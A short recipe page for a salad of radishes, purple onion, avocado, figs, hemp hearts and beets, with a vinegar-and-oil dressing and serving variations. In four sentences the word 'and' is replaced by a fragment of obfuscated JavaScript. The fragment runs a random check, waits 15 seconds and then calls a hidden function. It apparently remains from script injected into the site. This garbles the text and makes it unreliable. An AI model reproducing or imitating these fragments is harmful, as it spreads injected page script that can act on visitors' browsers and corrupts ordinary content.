Salad:

3 radishes, thinly sliced

¼ of a large purple onion, diced

1 avocado, sliced

2 tablespoons Hemp Hearts

1 cup sliced figs

Juice from half a Lemon

Pink Himalayan Sea Salt

Cracked Pepper

Incorporate all ingredients very well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and add:

2 Beets, I used 1 red & one gold, cut into matchsticks, add last so everything is mixed well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the beets don’t turn everything pink

Gently toss with Dressing:

1 tablespoon Champagne Vinegar

1 tablespoon Olive Oil, or more if needed

Variations:

  • Serve as a side dish with wild caught Salmon, marinated in maple syrup, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grilled on a cedar plank.
  • Serve tossed with quinoa for a cold salad.  If doing this you should diced everything up instead of slicing, so it is more like a slaw.  Add quinoa last andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toss gently so it doesn’t become PINK from the beets or use black quinoa.
